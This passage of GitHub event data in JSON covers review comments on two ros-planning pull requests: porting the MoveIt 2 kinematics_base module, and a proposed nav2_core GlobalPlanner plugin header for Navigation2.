users/davetcoleman/repos","events_url":"https://api.github.com/users/davetcoleman/events{/privacy}","received_events_url":"https://api.github.com/users/davetcoleman/received_events","type":"User","site_admin":false},"body":"remove","created_at":"2019-02-19T21:01:51Z","updated_at":"2019-02-19T21:17:18Z","html_url":"https://github.com/ros-planning/moveit2/pull/8#discussion_r258227792","pull_request_url":"https://api.github.com/repos/ros-planning/moveit2/pulls/8","author_association":"MEMBER","_links":{"self":{"href":"https://api.github.com/repos/ros-planning/moveit2/pulls/comments/258227792"},"html":{"href":"https://github.com/ros-planning/moveit2/pull/8#discussion_r258227792"},"pull_request":{"href":"https://api.github.com/repos/ros-planning/moveit2/pulls/8"}}},"pull_request":{"url":"https://api.github.com/repos/ros-planning/moveit2/pulls/8","id":254176938,"node_id":"MDExOlB1bGxSZXF1ZXN0MjU0MTc2OTM4","html_url":"https://github.com/ros-planning/moveit2/pull/8","diff_url":"https://github.com/ros-planning/moveit2/pull/8.diff","patch_url":"https://github.com/ros-planning/moveit2/pull/8.patch","issue_url":"https://api.github.com/repos/ros-planning/moveit2/issues/8","number":8,"state":"open","locked":false,"title":"Port kinematics_base submodule moveit_core","user":{"login":"vmayoral","id":1375246,"node_id":"MDQ6VXNlcjEzNzUyNDY=","avatar_url":"https://avatars2.githubusercontent.com/u/1375246?v=4","gravatar_id":"","url":"https://api.github.com/users/vmayoral","html_url":"https://github.com/vmayoral","followers_url":"https://api.github.com/users/vmayoral/followers","following_url":"https://api.github.com/users/vmayoral/following{/other_user}","gists_url":"https://api.github.com/users/vmayoral/gists{/gist_id}","starred_url":"https://api.github.com/users/vmayoral/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vmayoral/subscriptions","organizations_url":"https://api.github.com/users/vmayoral/orgs","repos_url":"https://api.github.com/users/vmayoral/repos","events_url":"https://api.github.com/users/vmayoral/events{/privacy}","received_events_url":"https://api.github.com/users/vmayoral/received_events","type":"User","site_admin":false},"body":"","created_at":"2019-02-19T09:32:13Z","updated_at":"2019-02-19T21:17:18Z","closed_at":null,"merged_at":null,"merge_commit_sha":"e6e7f055364dbbc79db0ce0d2317400a16dc2814","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/ros-planning/moveit2/pulls/8/commits","review_comments_url":"https://api.github.com/repos/ros-planning/moveit2/pulls/8/comments","review_comment_url":"https://api.github.com/repos/ros-planning/moveit2/pulls/comments{/number}","comments_url":"https://api.github.com/repos/ros-planning/moveit2/issues/8/comments","statuses_url":"https://api.github.com/repos/ros-planning/moveit2/statuses/54e0542b56fe22b8193edbdcbbc8dd0787e2eafd","head":{"label":"AcutronicRobotics:core-kinematics-base","ref":"core-kinematics-base","sha":"54e0542b56fe22b8193edbdcbbc8dd0787e2eafd","user":{"login":"AcutronicRobotics","id":23283242,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIzMjgzMjQy","avatar_url":"https://avatars3.githubusercontent.com/u/23283242?v=4","gravatar_id":"","url":"https://api.github.com/users/AcutronicRobotics","html_url":"https://github.com/AcutronicRobotics","followers_url":"https://api.github.com/users/AcutronicRobotics/followers","following_url":"https://api.github.com/users/AcutronicRobotics/following{/other_user}","gists_url":"https://api.github.com/users/AcutronicRobotics/gists{/gist_id}","starred_url":"https://api.github.com/users/AcutronicRobotics/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/AcutronicRobotics/subscriptions","organizations_url":"https://api.github.com/users/AcutronicRobotics/orgs","repos_url":"https://api.github.com/users/AcutronicRobotics/repos","events_url":"https://api.github.com/users/AcutronicRobotics/events{/privacy}","received_events_url":"https://api.github.com/users/AcutronicRobotics/received_events","type":"Organization","site_admin":false},"repo":{"id":171419802,"node_id":"MDEwOlJlcG9zaXRvcnkxNzE0MTk4MDI=","name":"moveit2","full_name":"AcutronicRobotics/moveit2","private":false,"owner":{"login":"AcutronicRobotics","id":23283242,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIzMjgzMjQy","avatar_url":"https://avatars3.githubusercontent.com/u/23283242?v=4","gravatar_id":"","url":"https://api.github.com/users/AcutronicRobotics","html_url":"https://github.com/AcutronicRobotics","followers_url":"https://api.github.com/users/AcutronicRobotics/followers","following_url":"https://api.github.com/users/AcutronicRobotics/following{/other_user}","gists_url":"https://api.github.com/users/AcutronicRobotics/gists{/gist_id}","starred_url":"https://api.github.com/users/AcutronicRobotics/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/AcutronicRobotics/subscriptions","organizations_url":"https://api.github.com/users/AcutronicRobotics/orgs","repos_url":"https://api.github.com/users/AcutronicRobotics/repos","events_url":"https://api.github.com/users/AcutronicRobotics/events{/privacy}","received_events_url":"https://api.github.com/users/AcutronicRobotics/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/AcutronicRobotics/moveit2","description":"The MoveIt! 2.0 Motion Planning Framework for ROS 2.0 ","fork":true,"url":"https://api.github.com/repos/AcutronicRobotics/moveit2","forks_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/forks","keys_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/keys{/key_id}","collaborators_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/teams","hooks_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/hooks","issue_events_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/issues/events{/number}","events_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/events","assignees_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/assignees{/user}","branches_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/branches{/branch}","tags_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/tags","blobs_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/git/refs{/sha}","trees_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/git/trees{/sha}","statuses_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/statuses/{sha}","languages_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/languages","stargazers_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/stargazers","contributors_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/contributors","subscribers_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/subscribers","subscription_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/subscription","commits_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/commits{/sha}","git_commits_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/git/commits{/sha}","comments_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/comments{/number}","issue_comment_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/issues/comments{/number}","contents_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/contents/{+path}","compare_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/compare/{base}...{head}","merges_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/merges","archive_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/downloads","issues_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/issues{/number}","pulls_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/pulls{/number}","milestones_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/milestones{/number}","notifications_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/labels{/name}","releases_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/releases{/id}","deployments_url":"https://api.github.com/repos/AcutronicRobotics/moveit2/deployments","created_at":"2019-02-19T06:40:12Z","updated_at":"2019-02-19T20:04:57Z","pushed_at":"2019-02-19T20:04:55Z","git_url":"git://github.com/AcutronicRobotics/moveit2.git","ssh_url":"git@github.com:AcutronicRobotics/moveit2.git","clone_url":"https://github.com/AcutronicRobotics/moveit2.git","svn_url":"https://github.com/AcutronicRobotics/moveit2","homepage":"","size":54726,"stargazers_count":0,"watchers_count":0,"language":"C++","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1,"mirror_url":null,"archived":false,"open_issues_count":0,"license":{"key":"bsd-3-clause","name":"BSD 3-Clause \"New\" or \"Revised\" License","spdx_id":"BSD-3-Clause","url":"https://api.github.com/licenses/bsd-3-clause","node_id":"MDc6TGljZW5zZTU="},"forks":1,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"ros-planning:master","ref":"master","sha":"3ce976728c347f2fde9f4402bed480b488129fc6","user":{"login":"ros-planning","id":2328631,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIzMjg2MzE=","avatar_url":"https://avatars2.githubusercontent.com/u/2328631?v=4","gravatar_id":"","url":"https://api.github.com/users/ros-planning","html_url":"https://github.com/ros-planning","followers_url":"https://api.github.com/users/ros-planning/followers","following_url":"https://api.github.com/users/ros-planning/following{/other_user}","gists_url":"https://api.github.com/users/ros-planning/gists{/gist_id}","starred_url":"https://api.github.com/users/ros-planning/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ros-planning/subscriptions","organizations_url":"https://api.github.com/users/ros-planning/orgs","repos_url":"https://api.github.com/users/ros-planning/repos","events_url":"https://api.github.com/users/ros-planning/events{/privacy}","received_events_url":"https://api.github.com/users/ros-planning/received_events","type":"Organization","site_admin":false},"repo":{"id":170893393,"node_id":"MDEwOlJlcG9zaXRvcnkxNzA4OTMzOTM=","name":"moveit2","full_name":"ros-planning/moveit2","private":false,"owner":{"login":"ros-planning","id":2328631,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIzMjg2MzE=","avatar_url":"https://avatars2.githubusercontent.com/u/2328631?v=4","gravatar_id":"","url":"https://api.github.com/users/ros-planning","html_url":"https://github.com/ros-planning","followers_url":"https://api.github.com/users/ros-planning/followers","following_url":"https://api.github.com/users/ros-planning/following{/other_user}","gists_url":"https://api.github.com/users/ros-planning/gists{/gist_id}","starred_url":"https://api.github.com/users/ros-planning/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ros-planning/subscriptions","organizations_url":"https://api.github.com/users/ros-planning/orgs","repos_url":"https://api.github.com/users/ros-planning/repos","events_url":"https://api.github.com/users/ros-planning/events{/privacy}","received_events_url":"https://api.github.com/users/ros-planning/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ros-planning/moveit2","description":":robot: MoveIt! for ROS 2.0, Alpha","fork":false,"url":"https://api.github.com/repos/ros-planning/moveit2","forks_url":"https://api.github.com/repos/ros-planning/moveit2/forks","keys_url":"https://api.github.com/repos/ros-planning/moveit2/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ros-planning/moveit2/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ros-planning/moveit2/teams","hooks_url":"https://api.github.com/repos/ros-planning/moveit2/hooks","issue_events_url":"https://api.github.com/repos/ros-planning/moveit2/issues/events{/number}","events_url":"https://api.github.com/repos/ros-planning/moveit2/events","assignees_url":"https://api.github.com/repos/ros-planning/moveit2/assignees{/user}","branches_url":"https://api.github.com/repos/ros-planning/moveit2/branches{/branch}","tags_url":"https://api.github.com/repos/ros-planning/moveit2/tags","blobs_url":"https://api.github.com/repos/ros-planning/moveit2/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ros-planning/moveit2/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ros-planning/moveit2/git/refs{/sha}","trees_url":"https://api.github.com/repos/ros-planning/moveit2/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ros-planning/moveit2/statuses/{sha}","languages_url":"https://api.github.com/repos/ros-planning/moveit2/languages","stargazers_url":"https://api.github.com/repos/ros-planning/moveit2/stargazers","contributors_url":"https://api.github.com/repos/ros-planning/moveit2/contributors","subscribers_url":"https://api.github.com/repos/ros-planning/moveit2/subscribers","subscription_url":"https://api.github.com/repos/ros-planning/moveit2/subscription","commits_url":"https://api.github.com/repos/ros-planning/moveit2/commits{/sha}","git_commits_url":"https://api.github.com/repos/ros-planning/moveit2/git/commits{/sha}","comments_url":"https://api.github.com/repos/ros-planning/moveit2/comments{/number}","issue_comment_url":"https://api.github.com/repos/ros-planning/moveit2/issues/comments{/number}","contents_url":"https://api.github.com/repos/ros-planning/moveit2/contents/{+path}","compare_url":"https://api.github.com/repos/ros-planning/moveit2/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ros-planning/moveit2/merges","archive_url":"https://api.github.com/repos/ros-planning/moveit2/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ros-planning/moveit2/downloads","issues_url":"https://api.github.com/repos/ros-planning/moveit2/issues{/number}","pulls_url":"https://api.github.com/repos/ros-planning/moveit2/pulls{/number}","milestones_url":"https://api.github.com/repos/ros-planning/moveit2/milestones{/number}","notifications_url":"https://api.github.com/repos/ros-planning/moveit2/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ros-planning/moveit2/labels{/name}","releases_url":"https://api.github.com/repos/ros-planning/moveit2/releases{/id}","deployments_url":"https://api.github.com/repos/ros-planning/moveit2/deployments","created_at":"2019-02-15T16:17:11Z","updated_at":"2019-02-19T17:34:07Z","pushed_at":"2019-02-19T20:02:22Z","git_url":"git://github.com/ros-planning/moveit2.git","ssh_url":"git@github.com:ros-planning/moveit2.git","clone_url":"https://github.com/ros-planning/moveit2.git","svn_url":"https://github.com/ros-planning/moveit2","homepage":"https://moveit.ros.org/","size":54652,"stargazers_count":3,"watchers_count":3,"language":"C++","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":2,"mirror_url":null,"archived":false,"open_issues_count":14,"license":{"key":"bsd-3-clause","name":"BSD 3-Clause \"New\" or \"Revised\" License","spdx_id":"BSD-3-Clause","url":"https://api.github.com/licenses/bsd-3-clause","node_id":"MDc6TGljZW5zZTU="},"forks":2,"open_issues":14,"watchers":3,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/ros-planning/moveit2/pulls/8"},"html":{"href":"https://github.com/ros-planning/moveit2/pull/8"},"issue":{"href":"https://api.github.com/repos/ros-planning/moveit2/issues/8"},"comments":{"href":"https://api.github.com/repos/ros-planning/moveit2/issues/8/comments"},"review_comments":{"href":"https://api.github.com/repos/ros-planning/moveit2/pulls/8/comments"},"review_comment":{"href":"https://api.github.com/repos/ros-planning/moveit2/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/ros-planning/moveit2/pulls/8/commits"},"statuses":{"href":"https://api.github.com/repos/ros-planning/moveit2/statuses/54e0542b56fe22b8193edbdcbbc8dd0787e2eafd"}},"author_association":"NONE"}}
|
{
"id": 170893393,
"name": "ros-planning/moveit2",
"url": "https://api.github.com/repos/ros-planning/moveit2"
}
|
{
"id": 561060,
"login": "davetcoleman",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/561060?",
"url": "https://api.github.com/users/davetcoleman"
}
|
{
"id": 2328631,
"login": "ros-planning",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/2328631?",
"url": "https://api.github.com/orgs/ros-planning"
}
| 2019-02-19T21:01:51 |
9097602132
|
{"actor":{"display_login":"davetcoleman"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/ros-planning/navigation2/pulls/comments/320871687","pull_request_review_id":283762299,"id":320871687,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDMyMDg3MTY4Nw==","diff_hunk":"@@ -0,0 +1,103 @@\n+/*\n+ * Software License Agreement (BSD License)\n+ *\n+ * Copyright (c) 2019, Samsung Research America\n+ * All rights reserved.\n+ *\n+ * Redistribution and use in source and binary forms, with or without\n+ * modification, are permitted provided that the following conditions\n+ * are met:\n+ *\n+ * * Redistributions of source code must retain the above copyright\n+ * notice, this list of conditions and the following disclaimer.\n+ * * Redistributions in binary form must reproduce the above\n+ * copyright notice, this list of conditions and the following\n+ * disclaimer in the documentation and/or other materials provided\n+ * with the distribution.\n+ * * Neither the name of the copyright holder nor the names of its\n+ * contributors may be used to endorse or promote products derived\n+ * from this software without specific prior written permission.\n+ *\n+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n+ * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n+ * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n+ * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n+ * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n+ * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n+ * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n+ * POSSIBILITY OF SUCH DAMAGE.\n+ */\n+\n+#ifndef NAV2_CORE_GLOBAL_PLANNER_H_\n+#define NAV2_CORE_GLOBAL_PLANNER_H_\n+\n+#include <string>\n+#include \"rclcpp/rclcpp.h\"\n+#include \"nav2_costmap_2d/nav2_costmap_2d.hpp\"\n+#include \"tf2_ros/Buffer.h\"\n+#include \"nav2_msgs/msg/path.h\"\n+#include \"geometry_msgs/msg/pose_stamped.h\"\n+\n+namespace nav2_core\n+{\n+\n+/**\n+ * @class GlobalPlanner\n+ * @brief Abstract interface for global planners to adhere to with pluginlib\n+ */\n+class GlobalPlanner\n+{\n+public:\n+ /**\n+ * @brief Virtual destructor\n+ */\n+ virtual ~GlobalPlanner() {}\n+\n+ /**\n+ * @param parent pointer to user's node\n+ * @param name The name of this planner\n+ * @param tf A pointer to a TF buffer\n+ * @param costmap_ros A pointer to the costmap\n+ */\n+ virtual void configure(const rclcpp::Node * parent,\n+ const std::string & name, tf2_ros::Buffer * tf,\n+ nav2_costmap_2d::Costmap2DROS * costmap_ros) = 0;","path":"nav2_core/include/nav2_core/global_planner.hpp","position":68,"original_position":68,"commit_id":"a43fa2565a394c9cd654b4857caee3fe59ed7d96","original_commit_id":"a43fa2565a394c9cd654b4857caee3fe59ed7d96","user":{"login":"SteveMacenski","id":14944147,"node_id":"MDQ6VXNlcjE0OTQ0MTQ3","avatar_url":"https://avatars3.githubusercontent.com/u/14944147?v=4","gravatar_id":"","url":"https://api.github.com/users/SteveMacenski","html_url":"https://github.com/SteveMacenski","followers_url":"https://api.github.com/users/SteveMacenski/followers","following_url":"https://api.github.com/users/SteveMacenski/following{/other_user}","gists_url":"https://api.github.com/users/SteveMacenski/gists{/gist_id}","starred_url":"https://api.github.com/users/SteveMacenski/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/SteveMacenski/subscriptions","organizations_url":"https://api.github.com/users/SteveMacenski/orgs","repos_url":"https://api.github.com/users/SteveMacenski/repos","events_url":"https://api.github.com/users/SteveMacenski/events{/privacy}","received_events_url":"https://api.github.com/users/SteveMacenski/received_events","type":"User","site_admin":false},"body":"No where else in the stack do we support other world model representations. Why would it be necessary here and no where else?","created_at":"2019-09-04T17:04:45Z","updated_at":"2019-09-04T17:04:45Z","html_url":"https://github.com/ros-planning/navigation2/pull/1087#discussion_r320871687","pull_request_url":"https://api.github.com/repos/ros-planning/navigation2/pulls/1087","author_association":"COLLABORATOR","_links":{"self":{"href":"https://api.github.com/repos/ros-planning/navigation2/pulls/comments/320871687"},"html":{"href":"https://github.com/ros-planning/navigation2/pull/1087#discussion_r320871687"},"pull_request":{"href":"https://api.github.com/repos/ros-planning/navigation2/pulls/1087"}},"in_reply_to_id":320869389},"pull_request":{"url":"https://api.github.com/repos/ros-planning/navigation2/pulls/1087","id":312830467,"node_id":"MDExOlB1bGxSZXF1ZXN0MzEyODMwNDY3","html_url":"https://github.com/ros-planning/navigation2/pull/1087","diff_url":"https://github.com/ros-planning/navigation2/pull/1087.diff","patch_url":"https://github.com/ros-planning/navigation2/pull/1087.patch","issue_url":"https://api.github.com/repos/ros-planning/navigation2/issues/1087","number":1087,"state":"open","locked":false,"title":"Nav2 core","user":{"login":"SteveMacenski","id":14944147,"node_id":"MDQ6VXNlcjE0OTQ0MTQ3","avatar_url":"https://avatars3.githubusercontent.com/u/14944147?v=4","gravatar_id":"","url":"https://api.github.com/users/SteveMacenski","html_url":"https://github.com/SteveMacenski","followers_url":"https://api.github.com/users/SteveMacenski/followers","following_url":"https://api.github.com/users/SteveMacenski/following{/other_user}","gists_url":"https://api.github.com/users/SteveMacenski/gists{/gist_id}","starred_url":"https://api.github.com/users/SteveMacenski/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/SteveMacenski/subscriptions","organizations_url":"https://api.github.com/users/SteveMacenski/orgs","repos_url":"https://api.github.com/users/SteveMacenski/repos","events_url":"https://api.github.com/users/SteveMacenski/events{/privacy}","received_events_url":"https://api.github.com/users/SteveMacenski/received_events","type":"User","site_admin":false},"body":"Navigation2 core header definition starting point.\r\n\r\nRather than trying to integrate all the APIs over in 1 shot, I think its better to lob out a potential starting API and adjusting it as we start porting resources like navfn, dwb, and recoveries over to it. I don't think the functions proposed will change, but potentially include additional overrides for different types or new functions to check/get information. Changes from this point on will attempt to maintain ABI compatibility, and this includes the base functionality + more than the predecessors. \r\n\r\nThis takes some of the experiences with nav_core2 and nav_core, adding in some of the lifecycle-y elements so that each plugin can distribute the setup tasks into iterating over the plugins.\r\n\r\nI intentionally failed to include the local planner plugin so that it can be included from the other PR on this topic (which hopefully doesnt use nav_2d_msgs). \r\n\r\nOther plugins I think we should have\r\n- Bt plugins\r\n- Lifecycle, I don't have a concrete example of how it could be useful, but something to think about\r\n- local planner, obviously","created_at":"2019-08-30T17:48:48Z","updated_at":"2019-09-04T17:04:45Z","closed_at":null,"merged_at":null,"merge_commit_sha":"b13328c621efc56b07b45f1aa60e5a7509211dc2","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/ros-planning/navigation2/pulls/1087/commits","review_comments_url":"https://api.github.com/repos/ros-planning/navigation2/pulls/1087/comments","review_comment_url":"https://api.github.com/repos/ros-planning/navigation2/pulls/comments{/number}","comments_url":"https://api.github.com/repos/ros-planning/navigation2/issues/1087/comments","statuses_url":"https://api.github.com/repos/ros-planning/navigation2/statuses/a43fa2565a394c9cd654b4857caee3fe59ed7d96","head":{"label":"SteveMacenski:nav2_core","ref":"nav2_core","sha":"a43fa2565a394c9cd654b4857caee3fe59ed7d96","user":{"login":"SteveMacenski","id":14944147,"node_id":"MDQ6VXNlcjE0OTQ0MTQ3","avatar_url":"https://avatars3.githubusercontent.com/u/14944147?v=4","gravatar_id":"","url":"https://api.github.com/users/SteveMacenski","html_url":"https://github.com/SteveMacenski","followers_url":"https://api.github.com/users/SteveMacenski/followers","following_url":"https://api.github.com/users/SteveMacenski/following{/other_user}","gists_url":"https://api.github.com/users/SteveMacenski/gists{/gist_id}","starred_url":"https://api.github.com/users/SteveMacenski/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/SteveMacenski/subscriptions","organizations_url":"https://api.github.com/users/SteveMacenski/orgs","repos_url":"https://api.github.com/users/SteveMacenski/repos","events_url":"https://api.github.com/users/SteveMacenski/events{/privacy}","received_events_url":"https://api.github.com/users/SteveMacenski/received_events","type":"User","site_admin":false},"repo":{"id":153699745,"node_id":"MDEwOlJlcG9zaXRvcnkxNTM2OTk3NDU=","name":"navigation2","full_name":"SteveMacenski/navigation2","private":false,"owner":{"login":"SteveMacenski","id":14944147,"node_id":"MDQ6VXNlcjE0OTQ0MTQ3","avatar_url":"https://avatars3.githubusercontent.com/u/14944147?v=4","gravatar_id":"","url":"https://api.github.com/users/SteveMacenski","html_url":"https://github.com/SteveMacenski","followers_url":"https://api.github.com/users/SteveMacenski/followers","following_url":"https://api.github.com/users/SteveMacenski/following{/other_user}","gists_url":"https://api.github.com/users/SteveMacenski/gists{/gist_id}","starred_url":"https://api.github.com/users/SteveMacenski/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/SteveMacenski/subscriptions","organizations_url":"https://api.github.com/users/SteveMacenski/orgs","repos_url":"https://api.github.com/users/SteveMacenski/repos","events_url":"https://api.github.com/users/SteveMacenski/events{/privacy}","received_events_url":"https://api.github.com/users/SteveMacenski/received_events","type":"User","site_admin":false},"html_url":"https://github.com/SteveMacenski/navigation2","description":"ROS2 Navigation","fork":true,"url":"https://api.github.com/repos/SteveMacenski/navigation2","forks_url":"https://api.github.com/repos/SteveMacenski/navigation2/forks","keys_url":"https://api.github.com/repos/SteveMacenski/navigation2/keys{/key_id}","collaborators_url":"https://api.github.com/repos/SteveMacenski/navigation2/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/SteveMacenski/navigation2/teams","hooks_url":"https://api.github.com/repos/SteveMacenski/navigation2/hooks","issue_events_url":"https://api.github.com/repos/SteveMacenski/navigation2/issues/events{/number}","events_url":"https://api.github.com/repos/SteveMacenski/navigation2/events","assignees_url":"https://api.github.com/repos/SteveMacenski/navigation2/assignees{/user}","branches_url":"https://api.github.com/repos/SteveMacenski/navigation2/branches{/branch}","tags_url":"https://api.github.com/repos/SteveMacenski/navigation2/tags","blobs_url":"https://api.github.com/repos/SteveMacenski/navigation2/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/SteveMacenski/navigation2/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/SteveMacenski/navigation2/git/refs{/sha}","trees_url":"https://api.github.com/repos/SteveMacenski/navigation2/git/trees{/sha}","statuses_url":"https://api.github.com/repos/SteveMacenski/navigation2/statuses/{sha}","languages_url":"https://api.github.com/repos/SteveMacenski/navigation2/languages","stargazers_url":"https://api.github.com/repos/SteveMacenski/navigation2/stargazers","contributors_url":"https://api.github.com/repos/SteveMacenski/navigation2/contributors","subscribers_url":"https://api.github.com/repos/SteveMacenski/navigation2/subscribers","subscription_url":"https://api.github.com/repos/SteveMacenski/navigation2/subscription","commits_url":"https://api.github.com/repos/SteveMacenski/navigation2/commits{/sha}","git_commits_url":"https://api.github.com/repos/SteveMacenski/navigation2/git/commits{/sha}","comments_url":"https://api.github.com/repos/SteveMacenski/navigation2/comments{/number}","issue_comment_url":"https://api.github.com/repos/SteveMacenski/navigation2/issues/comments{/number}","contents_url":"https://api.github.com/repos/SteveMacenski/navigation2/contents/{+path}","compare_url":"https://api.github.com/repos/SteveMacenski/navigation2/compare/{base}...{head}","merges_url":"https://api.github.com/repos/SteveMacenski/navigation2/merges","archive_url":"https://api.github.com/repos/SteveMacenski/navigation2/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/SteveMacenski/navigation2/downloads","issues_url":"https://api.github.com/repos/SteveMacenski/navigation2/issues{/number}","pulls_url":"https://api.github.com/repos/SteveMacenski/navigation2/pulls{/number}","milestones_url":"https://api.github.com/repos/SteveMacenski/navigation2/milestones{/number}","notifications_url":"https://api.github.com/repos/SteveMacenski/navigation2/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/SteveMacenski/navigation2/labels{/name}","releases_url":"https://api.github.com/repos/SteveMacenski/navigation2/releases{/id}","deployments_url":"https://api.github.com/repos/SteveMacenski/navigation2/deployments","created_at":"2018-10-18T23:26:16Z","updated_at":"2019-09-03T17:46:31Z","pushed_at":"2019-09-04T17:01:37Z","git_url":"git://github.com/SteveMacenski/navigation2.git","ssh_url":"git@github.com:SteveMacenski/navigation2.git","clone_url":"https://github.com/SteveMacenski/navigation2.git","svn_url":"https://github.com/SteveMacenski/navigation2","homepage":"","size":11106,"stargazers_count":0,"watchers_count":0,"language":"C++","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"ros-planning:master","ref":"master","sha":"97de88d91dd90141486f34a4b45258f03b2874e2","user":{"login":"ros-planning","id":2328631,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIzMjg2MzE=","avatar_url":"https://avatars2.githubusercontent.com/u/2328631?v=4","gravatar_id":"","url":"https://api.github.com/users/ros-planning","html_url":"https://github.com/ros-planning","followers_url":"https://api.github.com/users/ros-planning/followers","following_url":"https://api.github.com/users/ros-planning/following{/other_user}","gists_url":"https://api.github.com/users/ros-planning/gists{/gist_id}","starred_url":"https://api.github.com/users/ros-planning/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ros-planning/subscriptions","organizations_url":"https://api.github.com/users/ros-planning/orgs","repos_url":"https://api.github.com/users/ros-planning/repos","events_url":"https://api.github.com/users/ros-planning/events{/privacy}","received_events_url":"https://api.github.com/users/ros-planning/received_events","type":"Organization","site_admin":false},"repo":{"id":135363400,"node_id":"MDEwOlJlcG9zaXRvcnkxMzUzNjM0MDA=","name":"navigation2","full_name":"ros-planning/navigation2","private":false,"owner":{"login":"ros-planning","id":2328631,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIzMjg2MzE=","avata